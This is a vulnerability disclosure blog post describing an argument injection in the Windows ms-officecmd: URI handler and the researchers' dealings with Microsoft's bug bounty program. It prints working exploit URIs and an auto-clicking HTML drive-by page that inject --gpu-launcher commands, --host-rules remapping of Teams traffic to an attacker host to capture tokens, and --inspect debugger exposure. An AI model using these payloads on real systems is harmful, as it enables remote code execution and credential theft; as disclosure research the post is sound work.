Windows 10 RCE: The exploit is in the link

December 7, 2021

-- MARKDOWN --

# TL;DR

- We discovered a drive-by code execution vulnerability on Windows 10 via IE11/Edge Legacy and MS Teams, triggered by an argument injection in the Windows 10/11 default handler for `ms-officecmd:` URIs
- Exploitation through other browsers requires the victim to accept an inconspicuous confirmation dialog. Alternatively, a malicious URI could be delivered via a [desktop application performing unsafe URL handling](https://positive.security/blog/url-open-rce)
- Microsoft Bug Bounty Program's (MSRC) response was poor: Initially, they misjudged and dismissed the issue entirely. After our appeal, the issue was classified as "Critical, RCE", but only 10% of the bounty advertised for its classification was awarded ($5k vs $50k). The patch they came up with after 5 months failed to properly address the underlying argument injection (which is currently also still present on Windows 11)
- Our research journey was straightforward: We decided to find a code execution vulnerability in a default Windows 10 URI handler, and succeeded within two weeks. Considering the amount of URI handlers Windows ships with, it seems very likely that others are vulnerable too

---

# Exploitation/Demo

Code execution is triggered by a malicious website which performs a Javascript redirect to a crafted `ms-officecmd:` URI (a scheme used by the Microsoft Office UWP app to launch other Office desktop applications). We exploit an argument injection vulnerability in the URI handler and bypass a security measure in Electron to inject an arbitrary OS command via the `--gpu-launcher` parameter of the Microsoft Teams Electron app.

Drive-by RCE on Windows 10 via MS Edge

This is the crafted `ms-officecmd:` URI used in the video above (JSON indented for readability):

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c ping 2016843009 && \""
   }
}
```

Browsers other than Internet Explorer and Microsoft Edge Legacy show a rather inconspicuous confirmation dialog before opening the malicious URI:

Different browsers displaying a confirmation dialog which is missing in IE and Edge Legacy

As an alternative to exploitation through malicious websites, crafted `ms-officecmd:` URIs could also be delivered via [desktop applications performing unsafe URL handling](https://positive.security/blog/url-open-rce).

Precondition for this particular exploit is to have Microsoft Teams installed but not running. In the following sections we will also show how the scheme and argument injection could be abused in other ways, with and without the help of MS Teams.

Note: While Windows 11 was not yet released at the time of this research, it's also (still) affected by the same argument injection vulnerability in the `ms-officecmd:` URI handler.

In case you're interested in all technical details, but short on time, you can also skip directly to the [vulnerability report we submitted to Microsoft](#original-msrc-report).

---

# ToC / Research journey

## Motivation: Improving the malicious URI attack scenario

In January of 2021 we spent some time analyzing how popular desktop applications handle user supplied URIs, and found code execution vulnerabilities in most of them. A detailed write-up of our findings can be found in [our post from April 2021](https://positive.security/blog/url-open-rce).

To showcase exploitation of our findings on Windows, we mostly utilized file related schemes (`nfs`, `dav`, `file`, ...) coupled with executables/jar files hosted on internet accessible fileshares. One caveat of those payloads is that they either require Java to be installed or a dialog to run the executable to be confirmed.

Along the way, we also discovered a [code execution vulnerability in WinSCP's URI handling](https://positive.security/blog/url-open-rce#bonus-vulnerability-winscp). WinSCP is the de facto standard for handling various URI schemes on Windows, but it does not come pre-installed with the operating system.

Vulnerabilities in 3rd-party URI handlers are not a novelty, prior examples include:

- [Code execution in the `steam:` URI handler (2012)](https://revuln.com/files/ReVuln_Steam_Browser_Protocol_Insecurity.pdf)
- [Code execution affecting Electron apps which register custom protocols (CVE-2018-1000006)](https://www.electronjs.org/blog/protocol-handler-fix)
- [Code execution in the `teamviewer10:` URI Handler (CVE-2020-13699)](https://jeffs.sh/CVEs/CVE-2020-13699.txt)

We wanted to further improve on the attack scenario based on malicious URIs by finding a code execution vulnerability in a URI handler that comes pre-installed with Windows.

## Enumerating URI handlers in Windows 10

Windows 10 comes with an abundance of custom URI handlers relating to different OS features or other Microsoft software.

For our purposes, a sufficiently convenient way of finding registered URI handlers was to repeatedly search for 'URL Protocol' in the registry:

Finding URI handlers in the Windows registry

Any hit in `Computer\HKEY_CLASSES_ROOT\*` means that the name of the containing folder corresponds to the scheme for a registered URI handler. The registry also contains more information on each of these, like the shell command used to invoke the corresponding handler. A very simple and more hands-on approach to help find out what the scheme is related to is to type it into the browser address bar, followed by a `:`, and hit enter:

Opening calc.exe via the `calculator:` scheme from Edge

## ms-officecmd: Interesting due to its apparent complexity

The `ms-officecmd:` scheme immediately grabbed our attention due to its promising name: MS Office is a very complex suite of applications with many legacy features and a long history of exploitability. On top of that, the scheme ends in the abbreviation for 'command', which suggests even more complexity and potential for injection.

When we started playing around with it, we noticed an executable called `LocalBridge.exe` which would briefly run, but to no apparent external effect. To gain more insight on what happened, we checked the Windows Event Log, which contained some very useful information:

.NET JsonReaderException triggered by opening the URI `ms-officecmd:invalid`

The same exception did not occur when opening a URI consisting of the empty, valid JSON payload `ms-officecmd:{}`, giving us the first hint for what the structure of a valid URI looks like.

Observing JSON parsing in the URI handler ultimately confirmed that `ms-officecmd:` URIs have potential to do very complex things. We were determined to find out exactly what they can do.

## Reversing LocalBridge.exe and AppBridge.dll

To find out more, we decided to start with decompiling `LocalBridge.exe`:

Decompiled source of `LocalBridge.exe`: URI validation and `LaunchOfficeAppValidated` call (dotPeek)

The C# code held more information on the structure of a valid JSON payload. With its help we started experimenting again:

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "name": "Word"
       },
       "filename": "C:\\Windows\\System32\\calc.exe"
   }
}
```

Unfortunately, this did not provoke any observable behavior from `LocalBridge.exe`. Going deeper meant analyzing `AppBridge.dll` next, since it contained the `LaunchOfficeAppValidated` method which the JSON payload is ultimately passed to:

Decompiled source of `LocalBridge.exe`: `LaunchOfficeAppValidated` imported from `AppBridge.dll` (dotPeek)

We extracted some more potential JSON attribute names by disassembling the native `AppBridge.dll` library, but it was not immediately obvious how to use them.

`AppBridge.dll`: Relevant unicode strings (from Ghidra)

## Debugging the Office UWP app (Electron PWA)

When the analysis of `LocalBridge.exe`/`AppBridge.dll` did not yield the desired results quickly, we picked up a different approach in parallel: Rather than dissecting the application that handles `ms-officecmd:` URIs, we could try to inspect an application which generates such URIs.

While we did not know for certain which applications do so, we had previously stumbled across the Office UWP app, which presented itself as a likely candidate due to the following reasons:

- The app can be opened via the custom scheme `ms-officeapp:`, which looks awfully similar to the subject of our research, `ms-officecmd:`
- The app behaves almost identically to the Office365 web interface on [https://www.office.com/](https://www.office.com/), with the exception that it allows opening some desktop applications that can not be opened from the web

The Office UWP app comes pre-installed on Windows 10

Intuition suggested that the `ms-officecmd:` scheme was used internally whenever the Office UWP app triggered an Office desktop application to be opened. That suspicion was confirmed later.

Using Microsoft's own 'Edge DevTools Preview' app, we were able to hook into the process and debug the Office UWP app.

Microsoft Edge DevTools Preview (right) offering the Office UWP app (left) as a debug target

Getting the information we wanted was quick and easy:

1. Perform a global source code search (`ctrl` + `shift` + `f`) to find occurrences of our scheme keyword 'ms-officecmd': The only occurrence found was the definition of the `launchProtocol` constant
2. Perform another search to find usages of the `launchProtocol` constant: The first hit was found in the `launchViaProtocol` method, which looked quite promising
3. Add a breakpoint in `launchViaProtocol` and try to trigger it: Clicking the Outlook icon on the left side bar achieved this
4. Extract the JSON payload structure from the local variable

Office UWP app: `launchProtocol` constant definition (Edge DevTools Preview)
Office UWP app: `ms-officecmd:` JSON payload extracted from local variable `n` (Edge DevTools Preview)

An even faster alternative to recover the JSON payload is to use the [Microsoft Sysinternals Process Monitor tool](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) to record `Process Create` events associated with `LocalBridge.exe`:

`ms-officecmd:` JSON payload revealed by Process Monitor

## ms-officecmd: Basic JSON payload structure

With the extracted JSON payload we were finally able to open Office desktop applications via `ms-officecmd:` URIs. Specifically, the payload extracted from the Office UWP app could be used to open Outlook:

```jsx
ms-officecmd:{
   "id": 3,
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 8,
           "name": "Outlook",
           "discovered": {
               "command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
           }
       },
       "filename": ""
   }
}
```

In subsequent tests it became clear that two properties properties could be manipulated to an immediately observable effect:

- `appId`: Office desktop application to be opened
- `filename`: File path or URL of the file to be opened in the specified application

The `name` and `command` properties were validated and treated with lower priority, while the `id` property seemed to only be used for telemetry.

On a machine with a basic Office installation, we enumerated the following `appId` mappings:

- `1`: Access
- `2`: Excel
- `5`: Teams
- `6`: Skype for Business
- `7`: OneDrive
- `8`: Outlook
- `10`: PowerPoint
- `12`: Publisher
- `14`: Word
- `18`: OneNote
- `21`: Skype

## Outlook phishing issue

The first noteworthy finding was that when an `http(s)` URL was provided in the `filename` property, Outlook would render the respective webpage in an IE11 powered embedded webview. No indication of the webpage's origin or even the fact that the displayed content stemmed from an external webpage was given. This behavior could be abused to mount very believable phishing attacks, especially since `mailto:` links are, depending on local configuration, expected to open the user's email program:

Phishing attack using `ms-officecmd:` and Outlook: The login form displayed inside of the Outlook window is an attacker controlled webpage

## Outlook code execution issue

Outlook's unexpected opening behavior could also be abused to achieve code execution with some more user interaction. While Outlook does not allow `file://` URLs, the `C://`  "url scheme" is allowed and later treated as the drive letter to a local path. Furthermore, we add a trailing `/` which bypasses a file extension check in `AppBridge.dll`, but is later ignored when the executable is opened.

This PoC requires the user to confirm an additional warning dialog, but we believe that the context is misleading enough to even trick some more advanced users into accepting:

RCE attack with user interaction from Chrome using `ms-officecmd:` and Outlook

Here is what happens when the link on the malicious webpage is clicked:

1. A malicious executable named `outlook.exe` is saved to the victim's download folder by dynamically adding an iframe that points to the exe (in our demo, this is a renamed 'PuTTY' executable)
2. The innocent looking `mailto:` link target is replaced with a malicious `ms-officecmd:` URI which references the downloaded executable in its `filename` property (note the hover link preview in the bottom left)
3. The user confirms the 'Open LocalBridge?' dialog (not an explicit security warning)
4. When Outlook is starting up, it displays a warning dialog about opening a potentially unsafe hyperlink. The user confirms opening the local 'outlook.exe' file since they are expecting outlook to be opened
5. The downloaded file is executed (PuTTY window pops up)

## `filename` property argument injection

The issues shown above abused the `filename` property by providing values that were unexpected and mishandled only in the context of the Outlook application, but could be totally valid and expected in the more abstract context of the `ms-officecmd:` URI handler: In addition to local file paths with a multitude of different file extensions, most Office applications allow directly opening documents hosted on the web via `http(s)` URLs, as is the case with files that live in Microsoft SharePoint/OneDrive.

Our next discovery pushes the abuse potential much further by attacking the way in which the `filename` property is processed by the URI handler itself. Even without a fully detailed understanding of the inner workings of `AppBridge.dll`, it is relatively safe to assume that in order to open the specified Office application with the specified parameters, the URI handler would ultimately either generate and execute a shell command, or run its executable directly. In any case, the attacker-controlled `filename` property would need to be passed either as part of the shell command or an argument. When we experimented with common command and argument injection techniques, we found that it was possible to break out of the filename specification with a simple `"  `  (double quote + space) sequence.

This argument injection represents the most significant issue at the core of the discoveries that are outlined here. Before we get into actual exploitation, here's a video demonstrating the argument injection at its most basic level:

Using the `filename` argument injection to inject a `/q` switch: Note the absence of the blue splash (loading) screen when the second URI is opened

This is the URI used in the video (the quote needs to be escaped to not break the JSON):

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 14,
           "name": "Word",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "https://example.com/\" /q"
   }
}
```

## Loading malicious Word/Excel add-ins

After discovering the possibility to inject arguments into the launch commands for Office applications, our next step naturally was to check which kind of arguments were available to us. Out of the [documented command line switches for Microsoft Office products](https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6), the ones pertaining to the loading of add-ins on startup seemed most promising.

We experimented with the following add-in types:

- plain `.dll` and `.wll` files
- `VSTO` add-ins
- 'Office' (web) add-ins

Unfortunately we were not able to make the application properly load any of our crafted add-ins on startup.

Attempting to use the `-l` switch to load a Word add-in fails as the application seemingly interprets it as a document file to open

## Teams MITM, authentication leak using `--host-rules`

While our argument injection experiments with the document-focused Office applications did not produce any more findings that would be of much interest for real world attackers, there was another group of applications which showed a lot of promise: Microsoft Teams and Skype are based on the Electron framework, and therefore equipped with a wide range of useful [Electron command line arguments](https://www.electronjs.org/docs/api/command-line-switches) and [Node.js command line arguments](https://nodejs.org/api/cli.html).

The first of these arguments whose abuse potential we were able to confirm is `--host-rules`. This argument can be used to remap IP addresses and host names, causing all relevant network traffic of the application to be directed to the chosen target. When using a new domain as the map destination, there are no TLS errors as long as TLS is correctly set up for the new domain. By adding the `--ignore-certificate-errors` switch, not even this is needed. With the help of a reverse proxy, or even just a listening web server, an attacker could extract all sensitive information sent to Microsoft Teams' back-end services, including authentication tokens and messages. A reverse proxy could also be leveraged to modify API responses and impersonate any MS Teams user towards the victim.

When we tried to craft a valid payload in order to inject those arguments we had to overcome two more hurdles:

1. As a [fix for the critical CVE-2018-1000006](https://www.electronjs.org/blog/protocol-handler-fix), Electron changed their command line parsing logic to drop additional arguments after a URI. Checking the source code, we identified an [exception for 1-letter URI schemes](https://github.com/electron/electron/blob/4b70ccde26c057a3376c52eb563431943ebc3be6/shell/app/command_line_args.cc#L18-L20) to skip this filtering for Windows file paths that include drive letters (i.e. `C:/`). This allowed us to inject Electron arguments after a bogus `filename` prefix like `a:/b/`, which is accepted by both Electron and `AppBridge.dll`
2. MS Teams would sometimes not start for `filename` parameters containing `.` (period) characters due to a file extension check in `AppBridge.dll`. In the video below this check is bypassed by converting the target IP address `3.64.176.207` to its integer format `54571215`

Redirecting MS Teams https traffic to our own server using injected `--host-rules` and `--ignore-certificate-errors` arguments

Please note that in this demo video the requests are not forwarded to Team's real backend, resulting in the connection error.

This is the URI used in the video:

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "teams.exe",
               "uri": "msteams"
           }
       },
       "filename": "a:/b/ --ignore-certificate-errors --host-rules=\"MAP * 54571215\""
   }
}
```

## Teams/Skype code execution from local network via  `--inspect` debugger

Another promising argument was the Node.js `--inspect` parameter, which can be used to debug the Node.js Javascript environment. The parameter specifies the network interface and port number which can be used to connect a debugger. For security reasons, debugging is only made available through the local interface `127.0.0.1` by default. In the video below we override that setting via the `--inspect="0.0.0.0:28966"` switch, so that debugger connections are accepted on port 28966 for any network interface. Once the debugger is connected, we utilize a standard Node.js library to execute our command: `require("child_process").exec("<command>")`

Crafting a valid payload again required a bit of trickery:

1. Due to the way that the `filename` parameter is processed when Skype is opened this way, an additional `"` character is required after the fake file name before other parameters can be injected
2. When specifying the listening interface, the IP address integer format is not accepted, forcing us to include `.` characters. Therefore this time, we bypass the file extension check in `AppBridge.dll` by adding a `/` character at the end of our malicious `filename` payload

‍Local network exploit showcased by clicking a malicious link inside of a VM and connecting a debugger to the Skype process from the host system

This is the URI used in the video:

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 21,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/\" --inspect=\"0.0.0.0:28966\" /"
   }
}
```

Note that for susceptible setups, this attack could also be combined with, for example, [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding), or (the recently improved) [NAT Slipstreaming](https://github.com/samyk/slipstream) techniques to achieve RCE through the browser without the need for local network access.

## Teams code execution via `--inspect` debugger and MITM with SOP bypass

We have not actually confirmed this potential exploit to work, but wanted to share the idea for it regardless, because we found its setup to be kind of fun. Ultimately we never attempted to exploit it, because we achieved full RCE using the method described in the next section before we were ready to resort to a setup as complex as what would be required here.

The idea is to combine the `--host-rules` and `--inspect` switches from the sections above with the `--disable-web-security` Chromium switch, which should allow us to utilize our control of the Chromium Javascript context to connect to the Node.js debugger and execute arbitrary commands:

1. MS Teams is launched via a malicious website, with the following parameters injected:
    - `--host-rules="MAP <ms_teams_resources_host> <attacker_host>"`
    - `--ignore-certificate-errors`
    - `--inspect=1337`
    - `--disable-web-security`
2. During startup, a malicious reverse proxy/web server at `<attacker_host>` modifies legitimate resource files that make up the Teams UI to include a malicious Javascript payload that will be executed in the context of the Chromium browser embedded in Electron
3. The malicious Javascript inside the Electron Chromium browser requests the Node.js debugger metadata endpoint at `http://127.0.0.1:1337/json/list` to retrieve the `<random_uuid>` required for the debugger connection. The `--disable-web-security` switch should disable the [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy), making the response visible to the malicious Javascript context
4. The malicious Javascript inside the Electron Chromium browser connects to the debugging endpoint at `ws://127.0.0.1:1337/<random_uuid>` to take control of the Node.js process and execute an OS command

## Teams code execution via `--gpu-launcher` command injection

With the last discovery we made before starting to write up our report to Microsoft, we finally arrived at arbitrary code execution via a malicious `ms-officecmd:` URI. Precondition for this PoC is to have MS Teams installed but not running.

Our malicious payload is based on [the exploit for CVE-2018-1000006](https://www.exploit-db.com/exploits/44357), which makes use of the `--gpu-launcher` argument to inject an arbitrary command that is executed when the Electron application launches. To make the exploit work with our argument injection and MS Teams, we need to:

1. Start the `filename` parameter with a 1-character URI scheme to pass the `AppBridge.dll` validation, but also not run into the Electron-fix for CVE-2018-1000006 (Electron still allows additional arguments after Windows filenames such as "C:")
2. Inject the additional `--disable-gpu-sandbox` argument
3. Bypass the file extension check in `AppBridge.dll` by either forgoing `.` characters or appending a `/` to the malicious `filename` value
4. Add a shell directive that can be used to chain commands like  `&&`  at the end of our injected command to preserve a valid syntax overall

‍‍Arbitrary code execution with user interaction via MS Edge and Teams

A valid payload may look like this:

```jsx
ms-officecmd:{
   "LocalProviders.LaunchOfficeAppForResult": {
       "details": {
           "appId": 5,
           "name": "irrelevant",
           "discovered": {
               "command": "irrelevant"
           }
       },
       "filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
   }
}
```

Skype comes pre-installed on Windows 10, and multiple instances of Skype can be started in parallel by adding the `--secondary` argument to its launch command. Therefore, if a valid payload was found to exploit this issue via the Skype app, it should work on a default Windows 10 install without any precondition. We attempted to find a valid payload for Skype but were not successful. It seems possible that extra security measures were implemented for Skype when it was [found to be vulnerable to CVE-2018-1000006](https://www.securityfocus.com/bid/102796).

## Teams drive-by exploit for IE11/Edge Legacy via `--gpu-launcher` command injection

At this point we were quite satisfied with our findings and started to work on the bug report for Microsoft. Right when we were about to submit the report, we noticed that the MSRC report flow includes a mandatory dropdown selection to specify whether the reported vulnerability can be reproduced on the latest Windows version of the 'Windows Insider Dev Channel'. Since Microsoft advertises a quite sizeable bounty of $50k for issues like this, and we assumed that performing due diligence on a mandatory form field would improve the quality rating of our report, we were happy to install the latest version of Windows 10 from that release channel and verify that our exploit works there too.

MSRC report flow asking 'Does this repro on Windows Insider Dev Channel?'

Much to our surprise the exploit did not only work, but by simply adding some JavaScript which clicks the malicious link, the pre-installed Internet Explorer 11 and (now obsolete) 'Legacy' version of MS Edge could be abused to trigger the code execution without any user interaction beyond browsing a malicious website. Since our initial motivation was to improve on our previous attack scenario involving desktop applications which open arbitrary URIs, we had not thought about browser exploitation too much, and just assumed that all modern browsers have somewhat sensible security defaults when dealing with obscure schemes like `ms-officecmd`. That assumption proved to be wrong, as demonstrated here by MS Edge Legacy:

Drive-by RCE on Windows 10 via MS Edge

This is the payload used in the video above:

```html
<html>
Exploit in progress <a id="l" href="ms-officecmd:{&quot;id&quot;:3,&quot;LocalProviders.LaunchOfficeAppForResult&quot;:{&quot;details&quot;:{&quot;appId&quot;:5,&quot;name&quot;:&quot;Teams&quot;,&quot;discovered&quot;:{&quot;command&quot;:&quot;teams.exe&quot;,&quot;uri&quot;:&quot;msteams&quot;}},&quot;filename&quot;:&quot;a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\&quot;C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&amp;&amp;%20\&quot;&quot;}}"></a>
<script>document.getElementById("l").click(); </script>
```

Armed with this piece of video evidence we submitted our report.

---

# MSRC response

## Lack of technical understanding during triage

Our initial report was erroneously closed as not applicable one day after its submission.

> [...] Unfortunately your report appears to rely on social engineering to accomplish, which would not meet the definition of a security vulnerability. [...]

Only after our appeal was the issue reopened and classified as "Critical, RCE".

## Reluctant, slow communication

Our first email was answered after one week. Any communication attempt after that was typically met with several weeks of silence and required us to follow-up (see [timeline](#timeline) below).

## Insufficient remediation

The argument injection vulnerability described in this post is still present on fully patched Windows 10 and 11 systems. The patch that was issued after 5 months seems to only affect Teams and Skype in particular. While it does prevent exploitation of the RCE PoCs described here, we believe that there are likely other ways of exploiting the argument injection to achieve code execution.

After we brought this to Microsoft's attention, they said they have prepared another patch addressing the argument injection, and gave us the go-ahead to post this write-up independently of its rollout. At the time of publishing this blog post, we could still inject arbitrary arguments and perform e.g. the Outlook phishing attack on fully patched Windows 10/11 systems.

## No communication to public

No CVE has been assigned or advisory published to inform the public about the risk, which Microsoft explained as follows:

> Unfortunately in this case there was no CVE or advisory tied to the report. Most of our CVEs are created to explain to users why certain patches are sent through Windows Update and why they should be installed. Changes to websites, downloads through Defender, or through the Store normally do not get a CVE attached in the same way.  In this case the fix did not go out through Windows Update.

## Misleading bounty advertisement

While they paid out $5000 for this report, MS advertises special *[Attack Scenario Awards](https://www.microsoft.com/en-us/msrc/bounty-windows-insider-preview)* for their bug bounty program based on certain criteria. We believe that our report should qualify for the second described scenario of 'Demonstrated unauthenticated and unauthorized access to private user data with little or no user interaction', with a maximum award of $50,000.

Someone at MS must agree with us, because the report earned us 180 *[Researcher Recognition Program](https://www.microsoft.com/en-us/msrc/researcher-recognition-program)* points, a number which we could only explain as 60 base points with the 3X bonus multiplier for 'eligible attack scenarios' applied.

When we inquired about the bounty amount, we were prompted to provide a PoC which does not require the victim to confirm the additional "This site is trying to open LocalBridge." dialog:

> As for the second attack scenario (remote (assumes no prior execution), demonstrated unauthenticated and unauthorized access to private user data with little or no user interaction), this scenario requires no prior execution, and the information leak demonstrated in your case requires interaction to get to code execution.
If you can provide an example that results in RCE without prompting on one of our supported products, we’d be happy to re-review the case for a possible attack scenario bounty award.

We complied and responded with demo videos showing drive-by exploitation on IE 11, even though:

- We do not believe the "This site is trying to open LocalBridge." dialog should disqualify the issue from the second attack scenario which explicitly allows for little user interaction
- Our initial report already included a PoC video of a drive-by exploit without prompt on the Edge browser included with the most recent Windows 10 insider Dev channel release at the time (This was when we realized however that ['Microsoft Edge Legacy' was declared EOL on 2021-03-09](https://blogs.windows.com/msedgedev/2021/03/09/microsoft-edge-legacy-end-of-support/), precisely one day before we submitted our original MSRC report on 2021-03-10).

MS finally rejected a potential adjustment of the bounty amount:

> [...] the case will remain in scope for the general award. Vulnerabilities that are only reachable by Internet Explorer are not in scope for our bounty program today [...]

We find this statement to be surprising given that [IE is still "supported" until 2022-06-15](https://blogs.windows.com/windowsexperience/2021/05/19/the-future-of-internet-explorer-on-windows-10-is-in-microsoft-edge/).

## Timeline

`2021-03-10` Initial disclosure via [https://msrc.microsoft.com/](https://msrc.microsoft.com/)
`2021-03-11` MS closes our initial report "[..] your report appears to rely on social engineering [..]"
`2021-03-11` We submit a second report to appeal
`2021-03-17` MS reopens our original report
`2021-03-27` MS confirms the reported behavior
`2021-04-07` MS confirms a $5,000 reward
`2021-04-07` We inquire about the bounty amount
`2021-04-08` We are awarded 180 *points*
`2021-04-26` We follow-up on our email from 2021-04-07
`2021-05-17` We follow-up again
`2021-05-18` MS asks us to "provide an example that results in RCE without prompting"
`2021-05-18` We respond with the IE 11 drive-by PoC videos
`2021-06-07` We follow-up on our email from 2021-05-18
`2021-06-24` We follow-up again
`2021-06-24` MS rejects an adjustment of the bounty "Vulnerabilities that are only reachable by Internet Explorer are not in scope for our bounty program today"
`2021-08-31` Our retest of the now "complete" report reveals that our RCE PoC does not work anymore, but the argument injection was not patched
`2021-08-31` We urge MS to patch the argument injection and give them 4 weeks to ask for a delay on the planned release date for this post
`2021-09-16` MS says a patch fixing the argument injection should be rolled out within the next few days
`2021-12-07` We are publishing this blog post

---

Original MSRC report

## Windows 10 remote code execution via insecure `ms-officecmd:` default URI handler

# Summary

When a Windows 10 user either visits a malicious website with Edge, or clicks on a malicious "ms-officecmd:"-link in any application, arbitrary commands can be executed on the victim's computer. A malicious link can look like this:

```jsx
ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}
```

A demo video showcasing drive-by exploitation on the latest Windows Insider Dev Channel via Edge is attached (1_RCE_driveby.mp4; PoC: 1_RCE_driveby.html).
Another browser demo video showing exploitation by clicking a link is also attached. (2_Browser_1click_RCE.mp4, PoC page: 2_Browser_1click_RCE.html)
Note: Those PoCs require MS Teams to be installed.

Payload Summary:

- The overall JSON structure conforms to what LocalBridge.exe/AppBridge.dll expects and instructs this URI handler to call the Microsoft Teams executable (via `appId: 5`) with `filename` as argument
- `filename` must start with a 1-character URI scheme to pass the AppBridge.dll validation, but also not run into the Electron-fix for CVE-2018-1000006 (Electron still allows additional arguments after Windows filenames such as "C:")
- Additional arguments are then injected via the filename value, to disable the GPU sandbox, and prepend the payload command that is executed when the application's GPU process is started as part of the application start process

Besides the direct RCE via `--gpu-launcher`, several other attack scenarios are possible:

- injecting a `--host-rules` parameter for a full Electron MitM (e.g. to retrieve Teams messages and Auth tokens)
- injecting a `--inspect=0.0.0.0:1234` parameter to start a local node debugging server with an Electron app. An attacker in the local network can then connect to this port and run native code (also tested with Skype as the target)
- injecting application-specific arguments, e.g. the `/l` switch in Word to load an Add-In from a UNC path [1]. (while we have tested that UNC paths are accepted, we have not evaluated the impact of loading malicious Office Add-Ins)

Even without argument injection, we found the following two attacks to be possible:

- Starting Outlook with a web URL as parameter opens this web page inside Outlook, allowing for very believable phishing attacks
- Starting Outlook with a URL of the format `C:/.../some.exe/` (additional slash to pass the AppBridge.dll validation) makes Outlook parse the link as a local file link and redirect to/open/execute the file. This can be combined with Chrome's auto-download behaviour to gain abritrary code execution after a security warning

The vulnerability is in a default URI handler of Windows 10 and can be exploited from various applications. As an example, the attached 3_Thunderbird_RCE.mp4 showcases exploitation by opening a link in Thunderbird.

# Additional Details

In a default Windows 10 installation, LocalBridge.exe is associated as the (only) handler for the "ms-officecmd:" URI scheme. The scheme is used internally by the Office PWA application to launch other Microsoft applications, but such links can be opened by any application, e.g. a web browser, email client or instant messanger. LocalBridge.exe (C#) parses the JSON, performs light validation, and when it encounters a "LocalProviders.LaunchOfficeAppForResult" key, calls the "LaunchOfficeAppValidated" function implemented in the native AppBridge.dll.
LaunchOfficeAppValidated uses information from `details` to again search for the right executable (via `MyOffice::AppDiscovery::ResolveBest` / `MakeW32AppDiscovery`), to ensure that only specific Microsoft Apps are launched. Additional checks are performed on the filename value, e.g. to ensure it's a valid URI and does not end with a malicious file extension.

We investigated the potential impact of being able to launch those Microsoft apps with a user-chosen URI argument and found two attack vectors using Outlook:

1. Advanced Phishing: When launching Outlook with a https URL, the website is loaded inside the Outlook UI (without address bar). Showing a cloned Office login page makes for a very believable phishing attack, especially if the user clicked on an email address before and expected Outlook to open. A demo video is attached (4_Outlook_Phishing.mp4).
2. Code Execution: Outlook does not handle `file://` URLs, but is treating URLs of the scheme "C:/" like local file links. When opening Outlook with an "URI" argument pointing to a local exe file, Outlook asks the user for permission to open the link and, when granted, executes the local file. The attached PoC (3_Outlook_RCE_files.tar.gz) combines this with Chrome's autodownload behaviour (and an onclick-href rewrite) to gain arbitrary code execution with additional user interaction. (Demo video: 5_Outlook_Chrome_RCE.mp4)

Furthermore, it's possible to inject additional arguments via quote-escaping and URI encoding. We then focused on exploiting launch-able Electron Apps (esp. Teams) due to their complexity and to check whether Electron/Chromium/Node.js parameters can be injected in addition to application-specific command line parameters.
As a fix for the critical CVE-2018-1000006 [2], Electron.js changed the command line parsing to prevent additional arguments after a URI. Checking the source code, we identified an exception for 1-letter URI schemes to prevent accidential triggering by Windows filenames that include drive letters ("C:/")[3]. As this 1-letter URI passes the AppBridge.dll check, we can inject additional arguments to Electron apps, which can be exploited in the following ways:

1. `--gpu-launcher`: Similar to an RCE exploit for CVE-2018-1000006. In this case, the `--disable-gpu-sandbox` flag also needs to be set for successful exploitation. Otherwise, the external process is created, but exits again immediately.
2. `--host-rules="MAP * evil.com"`: This option allows remapping any domain to an attacker-controlled one and therefore intercepting all Chromium traffic in plaintext, including the sent messages and Office365 SSO auth tokens. This does not result in TLS errors when a valid `evil.com` certificate is used, and TLS checking can be disabled completely with an additional `--ignore-certificate-errors` parameter. As MitM, the attacker can also inject JavaScript (and strip CSP headers).
3. `--inspect=0.0.0.0:1234`: Starts a local node.js debug server and makes it available on all network interfaces. An attacker in the local network can retrieve the full endpoint URL by visiting `/json/list` on that webserver and then connect to the debug Websocket server to run arbitrary native code.
Additionally, #2 and #3 can be combined to start a node debug server and inject JS that talks to this local Web Socket Server, as another way to achieve remote code execution without local network access (requires disabling/bypassing the SOP to retrieve the debug UUID from `/json/list`).

Another interesting attack vector, that we haven't fully explored, are application-specific command-line arguments, e.g. the ones listed in [1]. For Office Add-Ins (e.g. `/l` flag in Word), we verified that UNC path locations can be specified, but did not further investigate its impact.

To achieve interactionless exploitation, we abused an insecure setting in Microsoft Edge, that allows navigation via JavaScript to any URL (with any URI scheme) without any additional user confirmation. As can be seen in the attached 2_Browser_1click_RCE.mp4, other browsers usually ask the user for confirmation before opening external URI handlers.

# Mitigation

As shown, several smaller issues are responsible for parts of the overall impact. Also, solely fixing the argument injection is not sufficient.
LocalBridge.exe deals with a high amount of complexity:

- As source, it accepts, parses and validates JSON with lots of information (and this JSON can be differently encoded depending on the application the link was opened from)
- As sink, the bridge can call a high number of diverse applications[4], that can all behave slightly unexpected to an URI with a certain URI scheme, file extension or special character
